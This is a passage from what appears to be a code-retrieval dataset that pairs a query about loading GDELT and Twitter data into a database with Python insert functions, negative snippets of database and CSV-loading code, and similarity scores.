\\\"\\\"\\n values = []\\n for k,v in assignments.items():\\n if cols!=\\\"\\\": cols += \\\",\\\"\\n cols += k\\n if vals!=\\\"\\\": vals += \\\",\\\"\\n vals += \\\"?\\\"\\n values.append(v)\\n cmd = \\\"insert or replace into \\\"+table+\\\" ( \\\"+cols+\\\" ) values ( \\\"+vals+\\\" ) \\\"\\n params = list(values)\\n # print cmd,params\\n cur = db.cursor()\\n cur.execute(cmd,params)\\n cur.close()\\n del cur\",\n \"def add(self):\\n try:\\n self.active_table.add_row(Row.Row([obj.get() for obj in self.enter_values]))\\n self.parent.display_content()\\n self.master.withdraw()\\n except UnableToCastException as err:\\n messagebox.showerror(\\\"Error\\\", err)\",\n \"def insert(self, data, table_name=None):\\n if not util.is_clean_container(data):\\n raise TypeError(f\\\"Bad binary type (bytes, bytearray, etc.) found in data(dict):\\\\n{data}\\\")\\n return self._get_storage().insert(data, table_name=table_name)\",\n \"def test_insert_many_dict(self):\\n table = 'test_insert'\\n columns = ['col1', 'col2', 'col3']\\n\\n in_vals = [{'col1': 1, 'col2': 2, 'col3': 3},\\n {'col1': 4, 'col2': 5, 'col3': 6},\\n {'col1': 7, 'col2': 8, 'col3': 9}\\n ]\\n out_vals = [tuple([row[col] for col in columns]) for row in in_vals]\\n\\n with self.dbh.table_recreate(table, columns, 'integer'):\\n try:\\n self.dbh.insert_many(table, columns, in_vals)\\n res = self.dbh.select_all(table, columns)\\n except Exception:\\n self.dbh.rollback()\\n raise\\n\\n self.assertEqual(res, out_vals)\",\n \"def test_single_tuple(self):\\n conn = self.connect()\\n c = conn.cursor()\\n self.safe_create_table(\\n conn, \\\"mystuff\\\", \\\"create table mystuff (id integer primary key)\\\"\\n )\\n c.execute(\\\"insert into mystuff (id) values (1)\\\")\\n c.execute(\\\"insert into mystuff (id) values (2)\\\")\\n c.execute(\\\"select id from mystuff where id in %s\\\", ((1,),))\\n self.assertEqual([(1,)], list(c.fetchall()))\\n c.close()\",\n \"def insertRow(db, col, result):\\n\\n # result = result.to_dict(\\\"records\\\")\\n conn = MongoClient(\\\"localhost\\\", 27017)\\n connObj = conn[db][col]\\n for x, row in result.iterrows():\\n connObj.insert_one(row.to_dict())\\n conn.close()\",\n \"def generic_db_insert(db_obj, db_cur, tables, key_cv, value_cv,\\n where_str=None, where_args=[]):\\n\\n # sanity check\\n if len(value_cv) != 1:\\n nori.core.email_logger.error(\\n'''Internal Error: multiple value_cv entries supplied in call to\\ngeneric_db_insert(); call was (in expanded notation):\\n\\ngeneric_db_insert(\\n db_obj={0},\\n db_cur={1},\\n tables={2},\\n key_cv={3},\\n value_cv={4},\\n where_str={5},\\n where_args={6}\\n)\\n\\nExiting.'''.format(*map(nori.pps, [db_obj, db_cur, tables, key_cv, value_cv,\\n where_str, where_args]))\\n )\\n sys.exit(nori.core.exitvals['internal']['num'])\\n\\n # assemble the query string and argument list\\n# query_args = []\\n# query_str = 'INSERT INTO '\\n# if isinstance(tables, nori.core.MAIN_SEQUENCE_TYPES):\\n# query_str += ', '.join(tables)\\n# else:\\n# query_str += tables\\n# query_str += '\\\\n'\\n# set_parts = []\\n# query_str += 'SET ' + ', '.join(set_parts) + '\\\\n'\\n# for cv in key_cv:\\n# if len(cv) > 2:\\n# where_parts.append('({0} = %s)'.format(cv[0]))\\n# query_args.append(cv[2])\\n# for cv in value_cv:\\n# set_parts.append('{0} = %s'.format(cv[0]))\\n# query_args.append(cv[2])\\n\\n # execute the query\\n# ret = db_obj.execute(db_cur, query_str.split(), query_args,\\n# has_results=False)\\n# return None if not ret else True\\n return None\",\n \"def insert(self, value):\\n # Build insert query\\n into_sql = ''\\n col_sql = ''\\n val_sql = []\\n for key, val in value.items():\\n into_sql += ', {}'.format(key)\\n col_sql += ', ?'\\n val_sql.append(val)\\n # Execute query\\n self.execute(\\\"insert into {} ({}) values ({})\\\".format(self.name, into_sql[2:], col_sql[2:]), val_sql)\",\n \"def insert(q, *params):\\n db = Database()\\n db.cur.execute(q, *params)\\n ret_id = db.cur.lastrowid\\n db.con.close()\\n return ret_id\",\n \"def insert_unique(db, klass, **kwargs):\\n try:\\n value = db.query(klass).filter_by(**kwargs).one()\\n except NoResultFound:\\n value = klass(**kwargs)\\n db.add(value)\\n db.commit()\\n return value\",\n \"def db_insert(self, table_name: str, data: dict):\\n \\n query = 'INSERT OR IGNORE INTO {0} ({1}) VALUES ({2})'.format(\\n table_name, ', '.join(data.keys()), ', '.join('?'*len(data)))\\n self.db.execute(query, list(data.values()))\",\n \"def insert_record(self):\\r\\n try:\\r\\n db.session.add(self)\\r\\n db.session.commit()\\r\\n return {\\\"error\\\": False, \\\"id\\\": self.id}\\r\\n except exc.SQLAlchemyError as e: # pragma: no cover\\r\\n # print(e)\\r\\n # print(sys.exc_info())\\r\\n db.session.rollback()\\r\\n return {\\\"error\\\": True}\\r\\n finally:\\r\\n db.session.close()\",\n \"def test_point_type_insert_select_nonetype(self):\\n point_table = self.classes.PointTable\\n session = Session(bind=self.bind)\\n session.add(point_table(id=2, ptest=None))\\n session.commit()\\n session.close()\\n\\n res = session.query(point_table).filter_by(id=2)\\n session.close()\\n\\n expected = None\\n assert expected == res[0].ptest\",\n \"def __insert(self, table, fields, values):\\n\\n if fields and len(fields) != len(values):\\n _logger.warning(\\\"Incorrect number of field/values\\\")\\n return -1\\n\\n if table == \\\"Varieties\\\":\\n index = 0\\n found = False\\n while not found and index < len(fields):\\n if fields[index] == \\\"resource_id\\\":\\n found = True\\n else:\\n index += index\\n if found and values[index]:\\n table_num = self._match_variety_table(int(values[index]))\\n\\n while not table_num < len(self.variety_tables):\\n # Create as many tables as needed to classify this variety properly\\n current_next = len(self.variety_tables) + 1\\n cursor = self.conn.cursor()\\n\\n cursor.execute(\\n \\\"\\\"\\\"CREATE TABLE Varieties_{0} (\\n id INT AUTO_INCREMENT PRIMARY KEY, \\n resource_id INT NOT NULL, \\n name VARCHAR(40), \\n hash VARCHAR({1}), \\n content MEDIUMBLOB,\\n FOREIGN KEY (resource_id) REFERENCES Resources (id) ON DELETE CASCADE\\n );\\\"\\\"\\\".format(\\n current_next\\n if current_next > 9\\n else \\\"0\\\" + str(current_next),\\n _HASH_LINE_SIZE,\\n )\\n )\\n\\n self.variety_tables.append(\\n \\\"Varieties_{0}\\\".format(\\n current_next\\n if current_next > 9\\n else \\\"0\\\" + str(current_next)\\n )\\n )\\n _logger.info(\\n \\\"Created Varieties_{0} for it is not possible to insert more rows in the previous one\\\".format(\\n current_next\\n if current_next > 9\\n else \\\"0\\\" + str(current_next)\\n )\\n )\\n\\n table = self.variety_tables[table_num]\\n\\n request = \\\"INSERT INTO {table} ({fields}) VALUES ({values})\\\"\\n\\n request = request.format(\\n table=table, fields=\\\", \\\".join(fields), values=(\\\"%s, \\\" * len(values))[0:-2]\\n )\\n cursor = self.conn.cursor(dictionary=True)\\n try:\\n cursor.execute(request, tuple(values))\\n except Exception as error:\\n _logger.exception(str(error))\\n return -1\\n else:\\n self.conn.commit()\\n row_id = cursor.lastrowid\\n _logger.debug(\\\"INSERT REQUEST ON {0} OK. Row_id: {1}\\\".format(table, row_id))\\n cursor.close()\\n return row_id\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.73631203","0.6934004","0.69239914","0.6890251","0.66995037","0.66891676","0.65547365","0.6468297","0.6453737","0.6453333","0.6392642","0.63380957","0.6335886","0.6317819","0.6305761","0.6293148","0.6282897","0.626277","0.6242966","0.62419975","0.62362057","0.62196565","0.62190396","0.62135595","0.621295","0.62003744","0.618971","0.61757445","0.61747175","0.6170523","0.61594397","0.60979724","0.6096202","0.6039805","0.60366315","0.603203","0.60290974","0.6022108","0.60203916","0.5968552","0.5966881","0.5966729","0.5958073","0.59554094","0.5941642","0.59353447","0.59300154","0.59243226","0.5922573","0.59160656","0.59097713","0.5907923","0.59077996","0.590603","0.5902431","0.5881648","0.58748823","0.58645296","0.5850894","0.5846886","0.58449787","0.5844298","0.5824632","0.58163875","0.58163625","0.5808723","0.58064795","0.58062434","0.5799451","0.5789238","0.57889974","0.57805026","0.577411","0.57721114","0.5771097","0.57640797","0.5750039","0.57483906","0.57436544","0.5737123","0.5737123","0.5735068","0.5729","0.57284856","0.5727211","0.5721607","0.5708879","0.57075113","0.5705911","0.570568","0.5705369","0.570223","0.5700863","0.56996846","0.56993014","0.5698243","0.56937754","0.5693666","0.5691157","0.56853205"],"string":"[\n \"0.73631203\",\n \"0.6934004\",\n \"0.69239914\",\n \"0.6890251\",\n \"0.66995037\",\n \"0.66891676\",\n \"0.65547365\",\n \"0.6468297\",\n \"0.6453737\",\n \"0.6453333\",\n \"0.6392642\",\n \"0.63380957\",\n \"0.6335886\",\n \"0.6317819\",\n \"0.6305761\",\n \"0.6293148\",\n \"0.6282897\",\n \"0.626277\",\n \"0.6242966\",\n \"0.62419975\",\n \"0.62362057\",\n \"0.62196565\",\n \"0.62190396\",\n \"0.62135595\",\n \"0.621295\",\n \"0.62003744\",\n \"0.618971\",\n \"0.61757445\",\n \"0.61747175\",\n \"0.6170523\",\n \"0.61594397\",\n \"0.60979724\",\n \"0.6096202\",\n \"0.6039805\",\n \"0.60366315\",\n \"0.603203\",\n \"0.60290974\",\n \"0.6022108\",\n \"0.60203916\",\n \"0.5968552\",\n \"0.5966881\",\n \"0.5966729\",\n \"0.5958073\",\n \"0.59554094\",\n \"0.5941642\",\n \"0.59353447\",\n \"0.59300154\",\n \"0.59243226\",\n \"0.5922573\",\n \"0.59160656\",\n \"0.59097713\",\n \"0.5907923\",\n \"0.59077996\",\n \"0.590603\",\n \"0.5902431\",\n \"0.5881648\",\n \"0.58748823\",\n \"0.58645296\",\n \"0.5850894\",\n \"0.5846886\",\n \"0.58449787\",\n \"0.5844298\",\n \"0.5824632\",\n \"0.58163875\",\n \"0.58163625\",\n \"0.5808723\",\n \"0.58064795\",\n \"0.58062434\",\n \"0.5799451\",\n \"0.5789238\",\n \"0.57889974\",\n \"0.57805026\",\n \"0.577411\",\n \"0.57721114\",\n \"0.5771097\",\n \"0.57640797\",\n \"0.5750039\",\n \"0.57483906\",\n \"0.57436544\",\n \"0.5737123\",\n \"0.5737123\",\n \"0.5735068\",\n \"0.5729\",\n \"0.57284856\",\n \"0.5727211\",\n \"0.5721607\",\n \"0.5708879\",\n \"0.57075113\",\n \"0.5705911\",\n \"0.570568\",\n \"0.5705369\",\n \"0.570223\",\n \"0.5700863\",\n \"0.56996846\",\n \"0.56993014\",\n \"0.5698243\",\n \"0.56937754\",\n \"0.5693666\",\n \"0.5691157\",\n \"0.56853205\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.6683566"},"document_rank":{"kind":"string","value":"6"}}},{"rowIdx":82197,"cells":{"query":{"kind":"string","value":"(obj) > NoneType Fetching data from CSV with GDELT data and loading to database (with insert statements)."},"document":{"kind":"string","value":"def load_twitter_data_to_db(self, truncate_table=False, skip_loaded_files=False):\n\n\t\ttable_fields_names, table_fields_types = self.identify_table_mask('twitter_stream_table-mask.txt')\n\n\t\t# Truncating table\n\t\tif truncate_table:\n\t\t\tquery = 'TRUNCATE TABLE ' + TABLE_NAME;\n\t\t\ttry:\n\t\t\t\tself.execute_query(query)\n\t\t\texcept Exception, e:\n\t\t\t\tprint '[e] Exeption: %s' % (str(e))\n\n\t\ttotal_queries = 0\n\t\terror_queries = 0\n\t\tsuccess_queries = 0\n\n\t\tfetcher = TwitterFetcher()\n \t\tfetched_tweets = fetcher.fetchsamples(10)\n\n \t\t\n \t\tfor tweet in fetched_tweets:\n\n \t\t\ttweet_as_list = list()\n \t\t\ttweet_as_list.append('(\"uni.vlba.gdelt.data::seq_twitter_stream_id\".nextval)')\n \t\t\ttweet_as_list.append(tweet)\n \t\t\t#print tweet_as_list\n\n \t\t\tif self.insert_data(tweet_as_list, table_fields_names, table_fields_types):\n\t\t\t\tsuccess_queries = success_queries + 1\n\t\t\telse:\n\t\t\t\terror_queries = error_queries + 1\n\n\t\ttotal_queries = success_queries + error_queries\t\t\n\t\t\n\t\tprint '\\n[i] Queries processed in total: %d\\n' % (total_queries)\n\n\t\tif error_queries > 0:\n\t\t\tprint '[i] Queries processed in total with errors: %d' % (error_queries)"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def import_glucose_from_csv(user, csv_file):\n csv_data = []\n reader = csv.reader(csv_file.read().splitlines(), delimiter=',',\n quotechar='\"')\n for row in reader:\n csv_data.append([item.strip() for item in row])\n\n glucose_objects = []\n\n # Check if headers exists. Skip the first entry if true.\n header_check = ['value', 'category', 'date', 'time']\n first_row = [i.lower().strip() for i in csv_data[0]]\n if all(i in first_row for i in header_check):\n csv_data = csv_data[1:]\n\n for row in csv_data:\n # Let's do an extra check to make sure the row is not empty.\n if row:\n try:\n category = Category.objects.get(name__iexact=row[1].strip())\n except ObjectDoesNotExist:\n category = Category.objects.get(name__iexact='No Category'.strip())\n\n # Since we always store the value in mg/dL format in the db, we need\n # to make sure we convert it here if the user's setting is set to\n # mmol/L.\n if user.settings.glucose_unit.name == 'mmol/L':\n value = int(to_mg(row[0]))\n else:\n value = int(row[0])\n\n glucose_objects.append(Glucose(\n user=user,\n value=value,\n category=category,\n record_date=datetime.strptime(row[2], DATE_FORMAT),\n record_time=datetime.strptime(row[3], TIME_FORMAT),\n notes=row[4],\n ))\n\n Glucose.objects.bulk_create(glucose_objects)","def dataLoad():\n try:\n try: #Python3\n f = open(__file__ + \".csv\",\"rt\")\n except: #Python2\n f = open(__file__ + \".csv\",\"rb\")\n data = f.read().split(',')\n entryCol.entry0.delete(0,END)\n entryCol.entry0.insert(0,data[0])\n entryCol.entry1.delete(0,END)\n entryCol.entry1.insert(0,data[1])\n entryCol.entry2.delete(0,END)\n entryCol.entry2.insert(0,data[2])\n entryCol.entry3.delete(0,END)\n entryCol.entry3.insert(0,data[3])\n botWind.writeN(\"DataLoad: File\")\n except:\n botWind.writeN(\"DataLoad: Default\")","def importer():\n\n #Lager liste der eg legg transaksjonar som blir henta og ikkje laga:\n get_list = []\n\n #Gjer txt-fila i mappen om til csv-fil\n file_fixer()\n\n with open(out_path) as file:\n reader = csv.reader(file)\n r_0 = next(reader)\n r_0.append(\"type\")\n r_0.append('amount')\n r_0.append('category')\n r_0.append('account')\n r_0.append('project')\n\n\n for row in reader:\n #Legger til dei fire kollonenne (amount, account, subaacount, project), tomme.\n row.append(\"\")\n row.append(\"\")\n\n #Omformatterer rader:\n row = format_fix(row)\n row.append(\"\")\n row.append(\"\")\n row.append(\"\")\n print(row)\n\n\n try:\n obj, created = Transaction.objects.get_or_create(\n date=row[0],\n transaction_type=row[1],\n description=row[2],\n amount=row[3]\n )\n\n except Transaction.MultipleObjectsReturned:\n continue\n\n if not created:\n get_list.append(obj.pk)\n\n return get_list","def __loaddata(filename, datatype='flightcsv', minprob=0.001, maxprob=0.20):\n if datatype is 'flightcsv':\n return extract_flight_csv(filename, minprob=minprob, maxprob=maxprob)\n else:\n raise Exception('unknown datatype %s' % datatype)","def _importInDjango(self):\n\n with open(settings.DATA_PATH, 'r', encoding='latin-1') as csv_file:\n reader = csv.DictReader(csv_file, delimiter=';')\n for raw in reader:\n\n # Créer ou mettre à jour la division\n division, created = Division.objects.get_or_create(\n nom=raw['Division']\n )\n if created:\n self.stdout.write(\n 'Divion {} ajoutée'.format(division.nom)\n )\n\n # Créer ou mettre à jour les équipes\n equipeDom, created = Equipe.objects.get_or_create(\n nom=raw['Equipe 1'],\n division=division\n )\n if created:\n self.stdout.write(\n 'Equipe {} ajoutée'.format(equipeDom.nom)\n )\n\n equipeExt, created = Equipe.objects.get_or_create(\n nom=raw['Equipe 2'],\n division=division\n )\n if created:\n self.stdout.write(\n 'Equipe {} ajoutée'.format(equipeExt.nom)\n )\n\n # Créer ou mettre à jour la rencontre\n scoreDom = 0 if raw['Score 1'] == '' else int(raw['Score 1'])\n scoreExt = 0 if raw['Score 2'] == '' else int(raw['Score 2'])\n forfaitDom = True if raw['Forfait 1'] == 'true' else False\n forfaitExt = True if raw['Forfait 2'] == 'true' else False\n date = datetime.datetime.strptime(raw['Date de rencontre'], '%d/%m/%Y')\n heure = datetime.datetime.strptime(raw['Heure'], '%H:%M')\n rencontre, created = Rencontre.objects.update_or_create(\n numero=int(raw['N° de match']),\n equipeDom=equipeDom,\n equipeExt=equipeExt,\n defaults={\n 'date': date,\n 'heure': heure,\n 'scoreDom': scoreDom,\n 'scoreExt': scoreExt,\n 'forfaitDom': forfaitDom,\n 'forfaitExt': forfaitExt,\n }\n )\n if created:\n self.stdout.write(\n 'Rencontre {} / {} ajoutée'.format(\n rencontre.equipeDom,\n rencontre.equipeExt\n )\n )","def load(*args):\r\n\r\n #args[0].to_csv(str(PATH.joinpath('./data/{}.csv'.format(args[1]))),index=False)\r\n\r\n try: # it will fail if duplicates\r\n args[0].to_sql('cmf', con=engine, if_exists='append', index=False)\r\n except:\r\n pass","def importData():\n #importChallengeDataToDB()\n importTrendingDataToDB()","def load_records():\n\n with open('seed_data/records.csv', 'rb') as csvfile:\n data = csv.reader(csvfile)\n for row in data:\n record_id, user_id, common_name, date_time, latitude, longitude, notes, seen, num_birds = row\n\n record = Record(record_id=record_id, user_id=user_id, common_name=common_name,\n date_time=date_time, latitude=latitude, longitude=longitude, \n notes=notes, seen=seen, num_birds=num_birds)\n\n db.session.add(record)\n\n db.session.commit()","def load_equipment():\n\n for row in open(\"static/equipment.csv\"):\n row = row.rstrip()\n \n gear_name, category, brand, lender_email, zipcode, gear_photo, gear_photo_url = row.split(\",\")\n\n equipment = Equipment(\n gear_name=gear_name,\n category=category,\n brand=brand,\n lender_email=lender_email,\n zipcode=zipcode,\n gear_photo=gear_photo,\n gear_photo_url=gear_photo_url)\n\n db.session.add(equipment)\n \n\n db.session.commit()","def load():\n filepath = dirname(abspath(__file__))\n data = recfromtxt(filepath + '/scotvote.csv', delimiter=\",\",\n names=True, dtype=float, usecols=(1,2,3,4,5,6,7,8))\n names = list(data.dtype.names)\n endog = array(data[names[0]], dtype=float)\n endog_name = names[0]\n exog = column_stack(data[i] for i in names[1:]).astype(float)\n exog_name = names[1:]\n dataset = Dataset(data=data, names=names, endog=endog, exog=exog,\n endog_name = endog_name, exog_name=exog_name)\n return dataset","def prepare_CSV(self):\n self.drop_columns()\n self.rename_columns()\n self.spilt_columns()\n self.add_vehicle_id_column()\n self.add_source_column()\n self.add_timestamp_columns()\n self.get_colour_columns()\n self.clean_column_formats()\n\n # print(self.data.info())\n # print(self.data.sample(10))\n\n return self.data","def from_csv(self, path):\n for model, table in [(self.Dataset, 'dataset'),\n (self.Datarun, 'datarun'),\n (self.Hyperpartition, 'hyperpartition'),\n (self.Classifier, 'classifier')]:\n df = pd.read_csv(os.path.join(path, '%ss.csv' % table))\n\n # parse datetime columns. This is necessary because SQLAlchemy can't\n # interpret strings as datetimes on its own.\n # yes, this is the easiest way to do it\n for c in inspect(model).attrs:\n if type(c) != ColumnProperty:\n continue\n col = c.columns[0]\n if type(col.type) == DateTime:\n df[c.key] = pd.to_datetime(df[c.key],\n infer_datetime_format=True)\n\n for _, r in df.iterrows():\n # replace NaN and NaT with None\n for k, v in list(r.iteritems()):\n if pd.isnull(v):\n r[k] = None\n\n # insert the row into the database\n create_func = getattr(self, 'create_%s' % table)\n create_func(**r)","def open_file():\r\n\tr_ct = 0\r\n\t\r\n\twith open('flavors_of_cacao.csv', 'r') as csvfile:\r\n\t\tcacao_stream = csv.DictReader(csvfile)\r\n\t\tfor cacao_row in cacao_stream:\r\n\t\t\tr_ct += 1\r\n\t\t\t\r\n\t\t\t#quit after 100 records\r\n\t\t\tif r_ct > 100:\r\n\t\t\t\tbreak\r\n\t\t\t\t\r\n\t\t\t#pull the data out of the dictionary for sqlite3\r\n\t\t\tt_Company = cacao_row['Company']\r\n\t\t\tt_Specific_Bean_Origin = cacao_row['Specific_Bean_Origin']\r\n\t\t\tt_REF = cacao_row['REF']\r\n\t\t\tt_Review = cacao_row['Review']\r\n\t\t\tt_Cocoa = cacao_row['Cocoa']\r\n\t\t\tt_Location = cacao_row['Location']\r\n\t\t\tt_Rating = cacao_row['Rating']\r\n\t\t\tt_Bean = cacao_row['Bean']\r\n\t\t\tt_Broad_Bean_Origin = cacao_row['Broad_Bean_Origin']\r\n\t\t\t\r\n\t\t\t#print the first 15 lines\r\n\t\t\tif r_ct <= 15:\r\n\t\t\t\tprint (r_ct, t_Company, t_Bean, t_Cocoa, t_Review)\r\n\t\t\t\t\r\n\t\t\t#creates a sql cursor, formats the insert sql and executes it\r\n\t\t\tc = conn.cursor()\r\n\t\t\tstrsql = \"\"\"\r\n\t\t\t\tINSERT INTO cacao\r\n\t\t\t\t\t(Company, Specific_Bean_Origin, REF, Review, Cocoa, Location, Rating, Bean, Broad_Bean_Origin)\r\n\t\t\t\tvalues (\r\n\t\t\t\t\t'{t_Company}', '{t_Specific_Bean_Origin}', '{t_REF}', '{t_Review}', '{t_Cocoa}', '{t_Location}', '{t_Rating}', '{t_Bean}', '{t_Broad_Bean_Origin}');\r\n\t\t\t\t\"\"\".format(\r\n\t\t\t\t\tt_Company = t_Company,\r\n\t\t\t\t\tt_Specific_Bean_Origin = t_Specific_Bean_Origin,\r\n\t\t\t\t\tt_REF = t_REF,\r\n\t\t\t\t\tt_Review = t_Review,\r\n\t\t\t\t\tt_Cocoa = t_Cocoa,\r\n\t\t\t\t\tt_Location = t_Location,\r\n\t\t\t\t\tt_Rating = t_Rating,\r\n\t\t\t\t\tt_Bean = t_Bean,\r\n\t\t\t\t\tt_Broad_Bean_Origin = t_Broad_Bean_Origin\r\n\t\t\t\t\t)\r\n\t\t\tc.execute(strsql)\r\n\t\t\tconn.commit()","def importGPX(gpxFile, gpxLayerFilter, pgConn):\r\n\r\n def ogrCreateLayer(sourceLayer, pgConn, destinationLayer):\r\n \"\"\"Create an empty table with the schema derived from the GPX feature type\"\"\"\r\n print \" Creating {0}\".format(destinationLayer)\r\n newLayer = pgConn.CreateLayer(destinationLayer)\r\n\r\n lyrDefn = sourceLayer.GetLayerDefn()\r\n for i in range( lyrDefn.GetFieldCount() ):\r\n ##print \"Creating field: {0}\".format(lyrDefn.GetFieldDefn( i ).GetName())\r\n\r\n fieldName = lyrDefn.GetFieldDefn( i ).GetName()\r\n fieldType = lyrDefn.GetFieldDefn( i ).GetType()\r\n newField = ogr.FieldDefn(fieldName, fieldType)\r\n newLayer.CreateField(newField)\r\n\r\n def ogrAppendFeatures(gpxFile, sourceLayer, destinationLayer):\r\n \"\"\"Append GPX features to existing table based on feature type\"\"\"\r\n\r\n ##print \"Starting transaction for: {0}\".format(destinationLayer.GetName())\r\n print \" Importing {0}: {1} features\".format(sourceLayer.GetName(), sourceLayer.GetFeatureCount())\r\n fName = os.path.basename(gpxFile)\r\n destinationLayer.StartTransaction()\r\n for x in xrange(sourceLayer.GetFeatureCount()):\r\n sourceFeature = sourceLayer.GetNextFeature()\r\n ##print \"inserting record\"\r\n sourceFeature.SetFID(-1)\r\n sourceFeature.SetField(\"src\", fName)\r\n destinationLayer.CreateFeature(sourceFeature)\r\n\r\n #Commit the new features to the database\r\n ##print \" Committing transaction for: {0}\".format(destinationLayer.GetName())\r\n destinationLayer.CommitTransaction()\r\n\r\n\r\n\r\n\r\n # Establish a connection to a GPX file\r\n print \"Reading {0}\".format(gpxFile)\r\n try:\r\n datasource = ogr.Open(gpxFile)\r\n if datasource == None:\r\n print \" WARNING: Could not read {0}. Skipping...\".format(gpxFile)\r\n return None\r\n\r\n for i in range(datasource.GetLayerCount()):\r\n ##print datasource.GetLayer(i).GetName(),\" :\", datasource.GetLayer(i).GetFeatureCount()\r\n\r\n if datasource.GetLayer(i).GetName() not in gpxLayerFilter:\r\n print \" Skipping {0}: User filtered\".format(datasource.GetLayer(i).GetName())\r\n elif datasource.GetLayer(i).GetFeatureCount() == 0:\r\n print \" Skipping {0}: 0 features\".format(datasource.GetLayer(i).GetName())\r\n else:\r\n inLayer = datasource.GetLayer(i)\r\n outLayer = \"{0}.{1}\".format(dbSchema, inLayer.GetName())\r\n\r\n if pgConn.GetLayerByName(outLayer) == None:\r\n #If layer does not already exist, copy source schema + features to destination\r\n ogrCreateLayer(inLayer, pgConn, outLayer)\r\n\r\n #If layer does exist, copy source **features** to the destination\r\n ogrAppendFeatures(gpxFile, inLayer,pgConn.GetLayerByName(outLayer))\r\n\r\n del datasource\r\n\r\n\r\n except Exception, e:\r\n print e.args","def load_expenditures():\n\n Expenditure.query.delete()\n\n with open(expenditure_file) as f:\n for _ in range(1):\n next(f)\n \n for row in f:\n row = row.rstrip()\n expenditure_data = row.split(\",\")\n print(expenditure_data)\n\n id = expenditure_data[0]\n category_id = expenditure_data[1]\n price = expenditure_data[2]\n date_of_expenditure = expenditure_data[3]\n expenditure_userid = expenditure_data[4]\n where_bought = expenditure_data[5]\n description = expenditure_data[6]\n\n expenditure = Expenditure(\n id = id,\n category_id = category_id,\n price = price,\n date_of_expenditure = get_datetime(date_of_expenditure),\n expenditure_userid = expenditure_userid,\n where_bought = where_bought,\n description = description\n )\n\n db.session.add(expenditure)\n\n db.session.commit()","def csv_reader(file_obj):\n global gagnant\n global gain\n # le tableau qui contient les gagnants\n reader = csv.reader(file_obj, delimiter=';')\n gagnant = next(reader)\n gain = next(reader)\n gagnant = [list(map(int,gagnant))]\n gagnant=gagnant[0]\n gain = [list(map(int,gain))]\n gain=gain[0]","def __init__(self,csvrow):\n self.raw = csvrow\n data = csvrow.split(',')\n self.number = data[0]\n self.area = int(data[1])\n self.population = int(data[5])\n self.latitude = float(data[7])\n self.longitude = float(data[8])","def __load_csv_into_mem(label, exp, obj, norms):\n filename = obj.get('file')\n # def csv_loader\n label_pos = obj.get('label', 'first')\n if label_pos == 'first':\n label_first = True\n else:\n label_first = False\n\n labels = []\n\n def get_element_from_csv():\n def callback(dim, lbl):\n CSVDataset.__load_csv_into_mem.dimension = dim - 1\n for l in lbl:\n labels.append(l)\n\n with open(filename, 'r') as f:\n for i in CSVDataset.__get_element_from_file__(csv.reader(f), label_first, norms, callback):\n yield i\n\n input_data = np.fromiter(get_element_from_csv(), dtype=np.float32)\n dimension = CSVDataset.__load_csv_into_mem.dimension\n input_data = input_data.reshape((-1, dimension))\n # print input_data[0]\n labels = np.asarray(labels, 'int32')\n kwargs = {}\n if 'batches' not in kwargs:\n b = getattr(exp.args, '%s_batches' % label, None)\n kwargs['batches'] = b\n if 'size' not in kwargs:\n kwargs['size'] = exp.args.batch_size\n kwargs['label'] = label\n return SequenceDataset(*(input_data, labels), **kwargs)","def load_products_data(connection, csvfile):\n insert_sql = 'insert into products (id, description, genres) ' \\\n 'values (%s, %s, %s)'\n load_data(connection, insert_sql, get_data_from_file(csvfile))","def load():\n filepath = dirname(abspath(__file__))\n##### EDIT THE FOLLOWING TO POINT TO DatasetName.csv #####\n data = recfromtxt(open(filepath + '/spector.csv',\"rb\"), delimiter=\" \",\n names=True, dtype=float, usecols=(1,2,3,4))\n names = list(data.dtype.names)\n endog = array(data[names[3]], dtype=float)\n endog_name = names[3]\n exog = column_stack(data[i] for i in names[:3]).astype(float)\n exog_name = names[:3]\n dataset = Dataset(data=data, names=names, endog=endog, exog=exog,\n endog_name = endog_name, exog_name=exog_name)\n return dataset","def main():\n # Schema for permanent DB\n schema = 'ZTF'\n \n # File names for output\n fname_cls = os.path.join(data_dir, 'ObjectClass.csv')\n fname_obj = os.path.join(data_dir, 'Object.csv')\n fname_det = os.path.join(data_dir, 'Detection.csv')\n\n # For each table, three tasks:\n # (1) Extract the data\n # (2) Save as CSV file(s)\n # (3) Insert into KeplerDB.ZTF database schema\n\n # Process ObjectClass table\n df_cls = load_ztf_classes()\n df_cls.to_csv(fname_cls, index=False)\n csv2db(schema=schema, table='ObjectClass', columns=columns_cls, fname_csv=fname_cls)\n\n # The last object code already in the DB\n min_object_cd = str(sp2df('ZTF.GetObjectLast').LastObjectCD[0])\n print(f'Last ObjectCD found in ZTF.Object = {min_object_cd}. Processing new objects...')\n\n # Process Object table in batches\n sz_obj = 100000\n # There are about 53.3 million objects according to the DB statistics\n nMax_obj: int = 55000000\n for n0 in tqdm(range(0, nMax_obj, sz_obj)):\n # df_obj = load_ztf_objects(n0=n0, sz=sz_obj, min_object_cd=min_object_cd)\n min_object_cd = str(sp2df('ZTF.GetObjectLast').LastObjectCD[0])\n df_obj = load_ztf_objects(n0=0, sz=sz_obj, min_object_cd=min_object_cd)\n df_obj.to_csv(fname_obj, index=False)\n csv2db(schema=schema, table='Object', columns=columns_obj, fname_csv=fname_obj)\n # Quit early if no rows in resultset\n if df_obj.shape[0] == 0:\n break\n\n # The last object code already in the DB\n min_detection_id= int(sp2df('ZTF.GetDetectionLast').LastDetectionID[0])\n print(f'Last DetectionID found in ZTF.Detection = {min_detection_id}. Processing new objects...')\n\n # Process Detection table in batches\n sz_det = 100000\n # There are about 146.3 million detections according to the DB statistics\n nMax_det: int = 147000000\n for n0 in tqdm(range(0, nMax_det, sz_det)):\n # df_det = load_ztf_detections(n0=n0, sz=sz_det, min_detection_id=min_detection_id)\n min_detection_id= int(sp2df('ZTF.GetDetectionLast').LastDetectionID[0])\n df_det = load_ztf_detections(n0=0, sz=sz_det, min_detection_id=min_detection_id)\n df_det.to_csv(fname_det, index=False)\n csv2db(schema=schema, table='Detection', columns=columns_det, fname_csv=fname_det)\n # Quit early if no rows in resultset\n if df_det.shape[0] == 0:\n break","def csv_handle(self,instance):\n table_origin = self.csv_dataframe\n in_column_num = len(self.column_names) \n in_column_name = self.column_names\n in_column_type = 